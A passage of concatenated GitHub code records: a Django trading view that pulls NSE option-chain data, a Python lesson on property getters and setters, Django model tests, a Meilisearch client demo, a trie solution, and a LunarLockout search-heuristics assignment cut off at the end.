code-------------------------------\n\n # print(\"analysis\",analysis)\n # try:\n\n # BTC_Data.objects.filter(id =field_value_id).update(Analysis = analysis)\n # print(\"saved analysis in id\",field_value_id)\n # except Exception as e:\n # print(\"something went wrong while adding analysis\", e)\n\n\n # if(field_value_rsi<=40 and (((field_value_rsi - field_value_rsi_2)>0 and field_value_rsi>= field_value_sma and field_value_sma>=field_value_rsi_2) or field_value_sma =60 and ((((field_value_rsi - field_value_rsi_2)<0 and (field_value_rsi_2>= field_value_sma and field_value_sma>=field_value_rsi) )) or field_value_sma > field_value_rsi ) and field_value_rsi >=37):\n if( field_value_signal== 0 ):\n ans = 0\n BTC_Data.objects.filter(id =field_value_id).update(price = ans)\n \n\n\n return HttpResponse(json.dumps({'decision':ans}))\n\ndef index(request):\n mydata = PCR_data.objects.all().values()\n \n # url = 'https://www.nseindia.com/api/option-chain-indices?symbol=NIFTY'\n # headers = {\n # 'user-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',\n # 'accept-encoding' : 'gzip, deflate, br',\n # 'accept-language' : 'en-US,en;q=0.9'\n # }\n # response = requests.get(url, headers=headers).content\n #\n # data = json.loads(response.decode('utf-8'))\n # nifty_exp_date = data['records']['expiryDates']\n # if(request.GET):\n # print(\"Get dat\",(request.GET['expiry']))\n # ind = int(request.GET['expiry'])\n # selected_exp = data['records']['expiryDates'][ind-1]\n #\n # else:\n # selected_exp = data['records']['expiryDates'][0]\n # print(\"running else\" )\n #\n # print(\"nif\",nifty_exp_date)\n\n context = {'mydata':mydata }\n\n\n return render(request, 'counter/index.html', context)\n\ndef strategy_2(request):\n\n mydata = BTC_Data.objects.all().values()\n df = pd.DataFrame(list(BTC_Data.objects.all().order_by('id').values()))\n\n\n # df['SMA_10'] = df['RSI'].rolling(window=10).mean()\n# print the first 15 rows of data\n # print(df.head(15))\n import pandas_ta as ta\n# Add indicators, using data from before\n\n df.ta.sma(close='RSI', length=7, append=True)\n\n # df.ta.sma(close='RSI', length=20, append=True)\n print(df)\n json_records = df.reset_index().to_json(orient ='records')\n data = []\n data = json.loads(json_records)\n context = {'mydata':mydata, 'd':data }\n\n\n\n return render(request, 'counter/15min_ind.html', context)\n\ndef save_data(symbol):\n\n dtobj1=datetime.datetime.utcnow() #utcnow class method\n print(dtobj1)\n\n dtobj3=dtobj1.replace(tzinfo=pytz.UTC) #replace method\n\n\n\n #print(pytz.all_timezones) => To see all timezones\n dtobj_india=dtobj3.astimezone(pytz.timezone(\"Asia/Calcutta\")) #astimezone method\n print(dtobj_india)\n\n\n\n url = 'https://www.nseindia.com/api/option-chain-indices?symbol=NIFTY'\n headers = {\n 'user-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',\n 'accept-encoding' : 'gzip, deflate, br',\n 'accept-language' : 'en-US,en;q=0.9'\n }\n response = requests.get(url, headers=headers).content\n data = json.loads(response.decode('utf-8'))\n expiry_dt = data['records']['expiryDates'][0]\n\n ce_values = [data['CE'] for data in dajs['records']['data'] if \"CE\" in data and data['expiryDate'] == expiry_dt]\n pe_values = [data['PE'] for data in dajs['records']['data'] if \"PE\" in data and data['expiryDate'] == expiry_dt]\n\n ce_dt = pd.DataFrame(ce_values).sort_values(['strikePrice'])\n pe_dt = pd.DataFrame(pe_values).sort_values(['strikePrice'])\n\n\n # print(ce_dt)\n print(ce_dt.columns.tolist())\n\n Total = ce_dt['openInterest'].sum()\n print(\"openInterest\",Total)\n tol_CE_vol = ce_dt['totalTradedVolume'].sum()\n print(\"totalTradedVolume\",tol_PE_vol)\n\n Total3 = pe_dt['openInterest'].sum()\n print(\"openInterest\",Total3)\n tol_PE_vol = pe_dt['totalTradedVolume'].sum()\n print(\"totalTradedVolume\",tol_PE_vol)\n\n totCE = data['filtered']['CE']['totOI']\n totc = data['filtered']['CE']\n totp = data['filtered']['CE']\n totPE = data['filtered']['PE']['totOI']\n # tol_PE_vol = data['filtered']['PE']['totVol']\n # tol_CE_vol = data['filtered']['CE']['totVol']\n nifty_val = 0\n nifty_val = data['filtered']['data'][0]['PE']['underlyingValue']\n dtobj_india = dtobj_india.strftime(\"%H:%M\")\n dtobj_indiaa = str(dtobj_india)\n\n diff = tol_CE_vol - tol_PE_vol\n\n pcr = tol_PE_vol/tol_CE_vol\n\n signal = \"BUY\"\n if(pcr > 1):\n signal = \"BUY\"\n else:\n signal = \"SELL\"\n pcr_data_entry = PCR_data(time=dtobj_indiaa, call=tol_CE_vol, put=tol_PE_vol,\n diff=diff, pcr=pcr, price=nifty_val, option_signal=signal)\n\n ans = pcr_data_entry.save()\n print(\"ans\", ans)\n\n return HttpResponse(\"done\")\n\ndef fetch_oi(expiry_dt):\n ce_values = [data['CE'] for data in dajs['records']['data'] if \"CE\" in data and data['expiryDate'] == expiry_dt]\n pe_values = [data['PE'] for data in dajs['records']['data'] if \"PE\" in data and data['expiryDate'] == expiry_dt]\n\n ce_dt = pd.DataFrame(ce_values).sort_values(['strikePrice'])\n pe_dt = pd.DataFrame(pe_values).sort_values(['strikePrice'])\n\n # print(ce_dt)\n print(ce_dt.columns.tolist())\n\n Total = ce_dt['openInterest'].sum()\n print(\"openInterest\",Total)\n Total2 = ce_dt['totalTradedVolume'].sum()\n print(\"totalTradedVolume\",Total2)\n\n Total3 = pe_dt['openInterest'].sum()\n print(\"openInterest\",Total3)\n Total4 = pe_dt['totalTradedVolume'].sum()\n print(\"totalTradedVolume\",Total4)\n\n# @app.task\n# def check_shut_down():\n# if not job():\n# # add task that'll run again after 2 secs\n# check_shut_down.delay((), countdown=3)\n# else:\n# # task completed; do something to notify yourself\n# return True\n\n# def job():\n\n# print(\"I'm working...\")\n\n# s = sched.scheduler(time.time, time.sleep)\n# def do_something(sc):\n# print(\"Doing stuff...\")\n# # do your stuff\n# sc.enter(6, 1, do_something, (sc,))\n\n# s.enter(6, 1, do_something, (s,))\n# s.run()\n\n# schedule.every(1).seconds.do(job)\n\n# while True:\n# schedule.run_pending()\n# time.sleep(1)\n","repo_name":"JAgrit20/Vwap2","sub_path":"counter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72963922493","text":"# 2.6 Геттеры и сеттеры, property атрибуты\n\n# class BankAccount:\n#\n# def __init__(self, name, balance):\n# self.name = name\n# self.balance = balance\n#\n#\n# a = BankAccount('Ivan', 100)\n# print('balance =', a.balance)\n# print('name =', a.name)\n# a.balance = 'hello'\n# print('balance =', a.balance)\n\n# Для того что бы можно было в баланс мы могли устанавливать только цифры\n\n\n# class BankAccount:\n#\n# def __init__(self, name, balance):\n# self.name = name\n# self.__balance = balance\n#\n# def get_balance(self):\n# return self.__balance\n#\n# def set_balance(self, value):\n# if not isinstance(value, (int, float)):\n# raise ValueError('Баланс должен быть числом')\n# self.__balance = value\n#\n#\n# b = BankAccount('Tniya', 100)\n# # b.set_balance('sadasdsad') # Выведет ошибку\n# b.set_balance(300)\n# print(b.get_balance()) # Вывудет установленный баланс\n\n#===========================================================================\n\n# Для того что бы все время не использовать методы get_balance и set_balance\n# можно использовать class property\n\nclass BankAccount:\n\n def __init__(self, name, balance):\n self.name = name\n self.__balance = balance\n\n def get_balance(self):\n print(\"get_balance\")\n return self.__balance\n\n def set_balance(self, value):\n print(\"set_balance\", value)\n if not isinstance(value, (int, float)):\n raise ValueError('Баланс должен быть числом')\n self.__balance = value\n\n def delete_balance(self):\n print(\"delete_balance\")\n del self.__balance\n\n balance = property(fget=get_balance, fset=set_balance, fdel=delete_balance)\n\n\nc = BankAccount('Misha', 400)\nprint(c.balance)\nc.balance = 777\nprint(c.balance)\ndel c.balance\n\n# =======================================================================\n\n\"\"\"Создайте класс UserMail, у которого есть:\n\nконструктор __init__, принимающий 2 аргумента: логин и почтовый \nадрес. Их необходимо сохранить в экземпляр как атрибуты login и \n__email (обратите внимание, защищенный атрибут)\nметод геттер get_email, который возвращает защищенный атрибут __email;\nметод сеттер set_email, который принимает в виде строки новую почту. \nМетод должен проверять, что в новой почте есть только один символ @ и\nпосле нее есть точка. Если данные условия выполняются, новая почта \nсохраняется в атрибут __email, в противном случае выведите сообщение \n\"ErrorMail:<почта>\";\nсоздайте свойство email, у которого геттером будет метод get_email, \nа сеттером - метод set_email\"\"\"\n\n\nclass UserMail:\n\n def __init__(self, login, email):\n self.login = login\n self.__email = email\n\n def get_email(self):\n return self.__email\n\n def set_email(self, value):\n if isinstance(value, str) \\\n and value.count('@') == 1 \\\n and \".\" in value[value.find('@'):]:\n self.__email = value\n else:\n print(f'ErrorMail:{value}')\n\n email = property(fget=get_email, fset=set_email)\n\n\nk = UserMail('belosnezhka', 'prince@wait.you')\nprint(k.email) # prince@wait.you\nk.email = [1, 2, 3] # ErrorMail:[1, 2, 3]\nk.email = 'prince@still@.wait' # ErrorMail:prince@still@.wait\nk.email = 'prince@still.wait'\nprint(k.email) # prince@still.wait","repo_name":"Eldar-Adzhiev/Python","sub_path":"OOP_by_egoroff_channel/section2_methods_and_properties/lesson2_6_property_getter_and_setter.py","file_name":"lesson2_6_property_getter_and_setter.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"176632893","text":"import datetime\n\nimport pytest\n\nfrom django.db import IntegrityError\nfrom tests.events.conftest import TestBase\n\nfrom events.models import DevNote\n\n\nclass TestEventModels(TestBase):\n\n def test_devnote_insert(self):\n devnote = DevNote.objects.create(\n user=self.user(),\n content=\"Test content\",\n date=datetime.datetime.now(datetime.timezone.utc).date()\n )\n\n devnote = DevNote.objects.get(id=devnote.id)\n assert devnote.content == \"Test content\"\n\n def test_devnote_cannot_be_empty_string(self):\n with pytest.raises(IntegrityError):\n devnote = DevNote.objects.create(\n user=self.user(),\n content=\"\",\n date=datetime.datetime.now(datetime.timezone.utc).date()\n )\n\n def test_multiple_devnotes_cannot_exist_for_same_user_and_date(self):\n devnote = DevNote.objects.create(\n user=self.user(),\n content=\"Test content\",\n date=datetime.datetime.now(datetime.timezone.utc).date()\n )\n\n with pytest.raises(IntegrityError):\n devnote = DevNote.objects.create(\n user=self.user(),\n content=\"Test content\",\n date=datetime.datetime.now(datetime.timezone.utc).date()\n )\n\n devnote = DevNote.objects.create(\n user=self.user(),\n content=\"A devnote from a later date\",\n date=(datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)).date()\n )\n","repo_name":"grant0711/devnote","sub_path":"api/tests/events/test_event_models.py","file_name":"test_event_models.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3512558385","text":"import aiomeilisearch\nimport asyncio\n\nHost = '127.0.0.1'\nPort = '7700'\nMasterKey = '123456'\n\nclient = aiomeilisearch.Client('http://{0}:{1}'.format(Host, Port), apiKey=MasterKey, )\n\nclass DemoIndex(object):\n async def get_indexes(self):\n # indexes = await client.get_indexes()\n indexes = await client.get_raw_indexes()\n print(\"indexes: \", indexes)\n assert isinstance(indexes, list)\n\n async def get_one_index(self):\n index_ = await client.get_index('movies')\n # index_ = await client.get_raw_index('movies')\n print(\"1\", index_)\n\n async def create_index(self):\n index_ = await client.create_index('movies', {'primaryKey': 'id'})\n print(\"create_index\", index_)\n\n async def update_index(self):\n index_ = await client.index('movies').update(primary_key='movie_id')\n print(\"update_index\", index_)\n\n async def delete_index(self):\n index_ = await client.index('movies').delete()\n print(\"delete_index\", index_)\n\nif __name__ == '__main__':\n t = DemoIndex()\n loop = asyncio.new_event_loop()\n loop.run_until_complete( t.get_indexes() )\n # loop.run_until_complete( t.get_one_index() )\n # loop.run_until_complete( t.create_index() )\n # loop.run_until_complete( t.update_index() )\n # loop.run_until_complete( t.delete_index() )\n","repo_name":"MLGB-bot/aiomeilisearch","sub_path":"demos/demo_index.py","file_name":"demo_index.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28249919364","text":"class WordDictionary:\n\n def __init__(self):\n self.trie = dict()\n\n def addWord(self, word: str) -> None:\n node = self.trie\n for ch in word + '\\U0001f33b':\n if ch not in node:\n node[ch] = dict()\n\n node = node[ch]\n\n def search(self, word: str) -> bool:\n nodes = [self.trie]\n for ch in word + '\\U0001f33b':\n newNodes = []\n for node in nodes:\n if ch == '.': \n newNodes += [v for v in node.values()]\n elif ch in node: \n newNodes.append(node[ch])\n\n if not newNodes:\n return False\n\n nodes = newNodes\n \n return True\n \n\n\n# Your WordDictionary object will be instantiated and called as such:\n# obj = WordDictionary()\n# obj.addWord(word)\n# param_2 = obj.search(word)","repo_name":"abhinav-0107/Leetcode-Repo","sub_path":"0211-design-add-and-search-words-data-structure/0211-design-add-and-search-words-data-structure.py","file_name":"0211-design-add-and-search-words-data-structure.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"14838058121","text":"# Напишите программу, которая принимает на вход цифру, обозначающую день недели, и проверяет, является ли этот день выходным.\n# Пример:\n# - 6 -> да\n# - 7 -> да\n# - 1 -> нет\n\ndef input_number(text: str) -> int:\n try:\n number = int(input(text))\n except ValueError:\n print(\"это не число!\")\n return number\n\n\ndef check_weekend(num: int):\n if num == 6 or num == 7:\n print(\"да\")\n elif num > 0 and num < 6:\n print(\"нет\")\n else:\n print(\". _. в неделе ток 7 дней :)\")\n\nnum = input_number(\"Введите число: \")\ncheck_weekend(num)","repo_name":"externalcharm/pythonEducation","sub_path":"seminar1/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4266175336","text":"#Look for #IMPLEMENT tags in this file. These tags indicate what has\n#to be implemented to complete the LunarLockout domain.\n\n# You may add only standard python imports---i.e., ones that are automatically\n# available on TEACH.CS\n# You may not remove any imports.\n# You may not import or otherwise source any of your own files\n\n#import os for time functions\nfrom search import * #for search engines\nfrom lunarlockout import LunarLockoutState, Direction, lockout_goal_state #for LunarLockout specific classes and problems\n\n#LunarLockout HEURISTICS\ndef heur_trivial(state):\n '''trivial admissible LunarLockout heuristic'''\n '''INPUT: a LunarLockout state'''\n '''OUTPUT: a numeric value that serves as an estimate of the distance of the state to the goal.'''\n return 0\n\ndef heur_manhattan_distance(state):\n#OPTIONAL\n '''Manhattan distance LunarLockout heuristic'''\n '''INPUT: a lunar lockout state'''\n '''OUTPUT: a numeric value that serves as an estimate of the distance of the state to the goal.'''\n #Write a heuristic function that uses Manhattan distance to estimate distance between the current state and the goal.\n #Your function should return a sum of the Manhattan distances between each xanadu and the escape hatch.\n hval = 0\n xanadus = state.xanadus\n center = int((state.width-1)/2)\n\n if isinstance(xanadus[0], int):\n hval += abs(xanadus[0] - center) + abs(xanadus[1] - center)\n else:\n for xanadu in xanadus:\n hval += abs(xanadu[0] - center) + abs(xanadu[1] - center)\n return hval\n\ndef heur_L_distance(state):\n #IMPLEMENT\n '''L distance LunarLockout heuristic'''\n '''INPUT: a lunar lockout state'''\n '''OUTPUT: a numeric value that serves as an estimate of the distance of the state to the goal.'''\n #Write a heuristic function that uses mahnattan distance to estimate distance between the current state and the goal.\n #Your function should return a sum of the L distances between each xanadu and the escape hatch.\n hval = 0\n xanadus = state.xanadus\n center = int((state.width-1)/2)\n\n if isinstance(xanadus[0], int):\n hval += (xanadus[0] != center) + (xanadus[1] != center)\n else:\n for xanadu in xanadus:\n hval += (xanadu[0] != center) + (xanadu[1] != center)\n return hval\n\ndef heur_alternate(state):\n#IMPLEMENT\n '''a better lunar lockout heuristic'''\n '''INPUT: a lunar lockout state'''\n '''OUTPUT: a numeric value that serves as an estimate of the distance of the state to the goal.''' \n #Your function should return a numeric value for the estimate of the distance to the goal.\n\n '''\n Description of the alternative heuristic:\n My alternative heuristic checks dead cases at the first. At the beginning the algorithm\n finds if there is any dead end case, for such a case the heuristic is infinity (goal not reachable).\n At first, it checks if all pieces are in one cluster. If this happens, no piece can move.\n Then it checks if there any xanadu has two extreme coordinates together.\n If one satisfies this condition, it cannot slide to any other piece to make it to the escape hatch\n since no piece can reach in the same column or row as this xanadu. After those, the algorithm will\n regulate and return a specific numeric heuristic. To make the alternative heuristic dominate the L heuristic more\n possibly, set the initial heuristic with the sum of the L heuristic and Manhattan heuristic weighted by 0.5.\n And then regulate this value by the following:\n 1.\tDecrease the heuristic if a xanadu is in the same row or column as the escape hatch,\n Decrease even more if there is a piece helps the xanadu to move in the escape hatch in\n One move.\n 2.\tIf there is a robot in the escape hatch, increase the heuristic. Increase more if it cannot be moved out within one step.\n 3.\tIf there is one robot in the neighborhood of the escape hatch, decrease the heuristic\n since once a xanadu slides to it from the opposite side, the xanadu enters the escape hatch.\n '''\n \n if isinstance(state.robots[0], int):\n temp = []\n temp.append(state.robots)\n temp = tuple(temp)\n state.robots = temp\n \n if isinstance(state.xanadus[0], int):\n temp = []\n temp.append(state.xanadus)\n temp = tuple(temp)\n state.xanadus = temp\n \n # cases for goal not reachable\n if dead_case1(state):\n return float('inf')\n if dead_case2(state):\n return float('inf')\n if dead_end(state):\n return float('inf')\n \n # estimate heuristic value by summing up heur_L_distance and heur_manhattan_distance of weight 0.5\n hval = heur_L_distance(state) + heur_manhattan_distance(state) / 2\n center = int((state.width-1)/2)\n\n # regulation from xanadus\n for xanadu in state.xanadus:\n # check if any xanadu is on the same row or column of the escape hatch\n # decrease the heuristic value more if there is a xanadu can be moved into\n # the escape hatch by one step\n if xanadu[0] == center or xanadu[1] == center:\n if neighbor_fit(state, xanadu, center):\n hval = hval ** 0.5\n else:\n hval = hval * 0.5\n \n # regulation from robots\n for robot in state.robots:\n # check if any robot is covering the escape hatch\n # increase the heuristic value more if the robot cannot\n # be moved out of the escape hatch by one step\n if robot[0] == center and robot[1] == center:\n if not move_easily(state, robot, center):\n hval = hval ** 1.3\n else:\n hval += 1\n # if there is some robot in the neighborhood of the escape hatch, decrease the heuristic value\n elif (robot[0] == center and abs(robot[1] - center) == 1) or (robot[1] == center and abs(robot[0] - center) == 1):\n hval = hval * 0.5\n return hval\n\n\ndef dead_case1(state):\n '''use breadth first search to check if all pieces are in one block'''\n '''INPUT: a lunar lockout state'''\n '''OUTPUT: return True if all pieces are in one cluster, or return False'''\n\n robots = state.robots\n xanadus = state.xanadus\n pieces = list(robots) + list(xanadus)\n \n # grey is the list for pieces discovered but not explored yet\n grey = []\n block = 1\n total = len(pieces)\n \n for piece in pieces:\n up_left = (piece[0] - 1, piece[1] + 1)\n up = (piece[0], piece[1] + 1)\n up_right = (piece[0] + 1, piece[1] + 1)\n left = (piece[0] - 1, piece[1])\n right = (piece[0] + 1, piece[1])\n down_left = (piece[0] - 1, piece[1] - 1)\n down = (piece[0], piece[1] - 1)\n down_right = (piece[0] + 1, piece[1] - 1)\n\n # calculate number of pieces in one block by discovering surrounding pieces\n if up_left in pieces and up_left not in grey:\n grey.append(up_left)\n block += 1\n if up in pieces and up not in grey:\n grey.append(up)\n block += 1\n if up_right in pieces and up_right not in grey:\n grey.append(up_right)\n block += 1\n if left in pieces and left not in grey:\n grey.append(left)\n block += 1\n if right in pieces and right not in grey:\n grey.append(right)\n block += 1\n if down_left in pieces and down_left not in grey:\n grey.append(down_left)\n block += 1\n if down in pieces and down not in grey:\n grey.append(down)\n block += 1\n if down_right in pieces and down_right not in grey:\n grey.append(down_right)\n block += 1\n \n # remove the piece after exploring\n pieces.remove(piece)\n return block == total\n\ndef dead_case2(state):\n '''find any piece x is the highest (lowest), and y is the highest (lowest)'''\n '''INPUT: a lunar lockout state'''\n '''OUTPUT: return True if there is such a piece, or return False'''\n\n pieces = list(state.xanadus) + list(state.robots)\n\n # make a list of all x and y indices\n x_list = []\n y_list = []\n for piece in pieces:\n x_list.append(piece[0])\n y_list.append(piece[1])\n \n # find the maximum and minimum in each x and y list\n x_max = max(x_list)\n y_max = max(y_list)\n x_min = min(x_list)\n y_min = min(y_list)\n\n # check each xanadu\n # if one xanadu posseses two extreme value for index at the same time\n # there is a dead case, and return True\n for xanadu in state.xanadus:\n if xanadu[0] == x_max and xanadu[1] == y_max:\n return True\n if xanadu[0] == x_min and xanadu[1] == y_min:\n return True\n if xanadu[0] == x_max and xanadu[1] == y_min:\n return True\n if xanadu[0] == x_min and xanadu[1] == y_max:\n return True\n return False\n\ndef dead_end(state):\n '''find if the state is dead'''\n '''INPUT: a lunar lockout state'''\n '''OUTPUT: True if there is no move can be made to make the goal achievable in the last state'''\n\n return (len(state.successors()) == 0) and (lockout_goal_state(state) == False)\n\ndef neighbor_fit(state, xanadu, center):\n '''find if a xanadu can be easily moved into the escape hatch'''\n '''INPUT: a lunar lockout state, a xanadu and the index of the center'''\n '''OUTPUT: True if it is easy to make such a move, otherwise False'''\n\n pieces = list(state.xanadus) + list(state.robots)\n pieces.remove(xanadu)\n\n # check if there is any robot makes the xanadu move into the escape hatch immediately\n for piece in pieces:\n if (piece[1] == center) and ((piece[0] < center and center < xanadu[0]) or (xanadu[0] < center and center < piece[0])):\n if abs(piece[0] - center) == 1:\n return True\n if (piece[0] == center) and ((piece[1] < center and center < xanadu[1]) or (xanadu[1] < center and center < piece[1])):\n if abs(piece[1] - center) == 1:\n return True\n return False\n\ndef move_easily(state, robot, center):\n '''find if the robot in the center can be moved out by one move'''\n '''INPUT: a lunar lockout state, a xanadu and the index of the center'''\n '''OUTPUT: True if it is easy to make such a move, otherwise False'''\n\n robots = list(state.robots)\n robots.remove(robot)\n\n # check if the robot can be moved from the escape hatch in one step only\n for another in robots:\n if another[0] == center and robot[0] == center and abs(another[1] - robot[1]) > 1:\n return True\n if another[1] == center and robot[1] == center and abs(another[0] - robot[0]) > 1:\n return True\n return False\n\ndef fval_function(sN, weight):\n#IMPLEMENT\n \"\"\"\n Provide a custom formula for f-value computation for Anytime Weighted A star.\n Returns the fval of the state contained in the sNode.\n\n @param sNode sN: A search node (containing a LunarLockoutState)\n @param float weight: Weight given by Anytime Weighted A star\n @rtype: float\n \"\"\"\n \n #Many searches will explore nodes (or states) that are ordered by their f-value.\n #For UCS, the fvalue is the same as the gval of the state. For best-first search, the fvalue is the hval of the state.\n #You can use this function to create an alternate f-value for states; this must be a function of the state and the weight.\n #The function must return a numeric f-value.\n #The value will determine your state's position on the Frontier list during a 'custom' search.\n #You must initialize your search engine object as a 'custom' search engine if you supply a custom fval function.\n return float(sN.gval + weight * sN.hval)\n\ndef anytime_weighted_astar(initial_state, heur_fn, weight=4., timebound = 2):\n#IMPLEMENT\n '''Provides an implementation of anytime weighted a-star, as described in the HW1 handout'''\n '''INPUT: a lunar lockout state that represents the start state and a timebound (number of seconds)'''\n '''OUTPUT: A goal state (if a goal is found), else False'''\n '''implementation of weighted astar algorithm'''\n se = SearchEngine('custom', 'full')\n wrapped_fval_function = (lambda sN: fval_function(sN, weight))\n se.init_search(initial_state, lockout_goal_state, heur_fn, wrapped_fval_function)\n\n search_start_time = os.times()[0]\n final = se.search(timebound, (float('inf'), float('inf'), float('inf')))\n\n if not final:\n return final\n \n while timing(search_start_time) < timebound:\n weight = weight ** 0.5\n if weight <= 1:\n weight = 1\n \n f_val = final.gval + heur_fn(final)\n new_final = se.search(timebound - timing(search_start_time), (float('inf'), float('inf'), f_val))\n\n if not new_final:\n return final\n final = new_final\n \n return final\n\n\ndef anytime_gbfs(initial_state, heur_fn, timebound = 2):\n#OPTIONAL\n '''Provides an implementation of anytime greedy best-first search. This iteratively uses greedy best first search,'''\n '''At each iteration, however, a cost bound is enforced. At each iteration the cost of the current \"best\" solution'''\n '''is used to set the cost bound for the next iteration. Only paths within the cost bound are considered at each iteration.'''\n '''INPUT: a lunar lockout state that represents the start state and a timebound (number of seconds)'''\n '''OUTPUT: A goal state (if a goal is found), else False'''\n se = SearchEngine('best_first', 'full')\n se.init_search(initial_state, lockout_goal_state, heur_fn)\n\n search_start_time = os.times()[0]\n final = se.search(timebound, (float('inf'), float('inf'), float('inf')))\n\n if not final:\n return final\n \n while timing(search_start_time) < timebound:\n new_final = se.search(timebound - timing(search_start_time), (final.gval, float('inf'), float('inf')))\n\n if not new_final:\n return final\n final = new_final\n \n return final\n\n\ndef timing(search_start_time):\n return os.times()[0] - search_start_time\n\nPROBLEMS = (\n #5x5 boards: all are solveable\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((0, 1),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((0, 2),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((0, 3),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((1, 1),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((1, 2),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((1, 3),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((1, 4),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((2, 0),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((2, 1),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (0, 2),(0,4),(2,0),(4,0)),((4, 4),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((4, 0),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((4, 1),)),\n LunarLockoutState(\"START\", 0, None, 5, ((0, 0), (1, 0),(2,2),(4,2),(0,4),(4,4)),((4, 3),)),\n #7x7 BOARDS: all are solveable\n LunarLockoutState(\"START\", 0, None, 7, ((4, 2), (1, 3), (6,3), (5,4)), ((6, 2),)),\n LunarLockoutState(\"START\", 0, None, 7, ((2, 1), (4, 2), (2,6)), ((4, 6),)),\n LunarLockoutState(\"START\", 0, None, 7, ((2, 1), (3, 1), (4, 1), (2,6), (4,6)), ((2, 0),(3, 0),(4, 0))),\n LunarLockoutState(\"START\", 0, None, 7, ((1, 2), (0 ,2), (2 ,3), (4, 4), (2, 5)), ((2, 4),(3, 1),(4, 0))),\n LunarLockoutState(\"START\", 0, None, 7, ((3, 2), (0 ,2), (3 ,3), (4, 4), (2, 5)), ((1, 2),(3, 0),(4, 0))),\n LunarLockoutState(\"START\", 0, None, 7, ((3, 1), (0 ,2), (3 ,3), (4, 4), (2, 5)), ((1, 2),(3, 0),(4, 0))),\n LunarLockoutState(\"START\", 0, None, 7, ((2, 1), (0 ,2), (1 ,2), (6, 4), (2, 5)), ((2, 0),(3, 0),(4, 0))),\n\n LunarLockoutState(\"START\", 0, None, 9, ((2,2), (3,4), (4,5), (5,5), (5,0), (6,1), (6,4), (7,0), (8,1), (8,3)), ((0,0), (0,8))),\n )\n\nif __name__ == \"__main__\":\n\n #TEST CODE\n solved = 0; unsolved = []; counter = 0; percent = 0; timebound = 2; #2 second time limit for each problem\n print(\"*************************************\") \n print(\"Running A-star\") \n\n for i in range(len(PROBLEMS)): #note that there are 40 problems in the set that has been provided. We just run through 10 here for illustration.\n\n print(\"*************************************\") \n print(\"PROBLEM {}\".format(i))\n \n s0 = PROBLEMS[i] #Problems will get harder as i gets bigger\n\n print(\"*******RUNNING A STAR*******\") \n se = SearchEngine('astar', 'full')\n se.init_search(s0, lockout_goal_state, heur_alternate)\n final = se.search(timebound) \n\n if final:\n final.print_path()\n solved += 1\n else:\n unsolved.append(i) \n counter += 1\n\n if counter > 0: \n percent = (solved/counter)*100\n\n print(\"*************************************\") \n print(\"{} of {} problems ({} %) solved in less than {} seconds.\".format(solved, counter, percent, timebound)) \n print(\"Problems that remain unsolved in the set are Problems: {}\".format(unsolved)) \n print(\"*************************************\") \n\n solved = 0; unsolved = []; counter = 0; percent = 0; \n print(\"Running Anytime Weighted A-star\") \n\n for i in range(len(PROBLEMS)):\n print(\"*************************************\") \n print(\"PROBLEM {}\".format(i))\n\n s0 = PROBLEMS[i] \n weight = 4\n final = anytime_weighted_astar(s0, heur_alternate, weight, timebound)\n\n if final:\n final.print_path() \n solved += 1 \n else:\n unsolved.append(i)\n counter += 1 \n\n if counter > 0: \n percent = (solved/counter)*100 \n \n print(\"*************************************\") \n print(\"{} of {} problems ({} %) solved in less than {} seconds.\".format(solved, counter, percent, timebound)) \n print(\"Problems that remain unsolved in the set are Problems: {}\".format(unsolved)) \n print(\"*************************************\") \n\n solved = 0; unsolved = []; counter = 0; percent = 0; \n print(\"Running Anytime GBFS\") \n\n for i in range(len(PROBLEMS)):\n print(\"*************************************\") \n print(\"PROBLEM {}\".format(i))\n\n s0 = PROBLEMS[i] \n final = anytime_gbfs(s0, heur_alternate, timebound)\n\n if final:\n final.print_path() \n solved += 1 \n else:\n unsolved.append(i)\n counter += 1 \n\n if counter > 0: \n percent = (solved/counter)*100 \n \n print(\"*************************************\") \n print(\"{} of {} problems ({} %) solved in less than {} seconds.\".format(solved, counter, percent, timebound)) \n print(\"Problems that remain unsolved in the set are Problems: 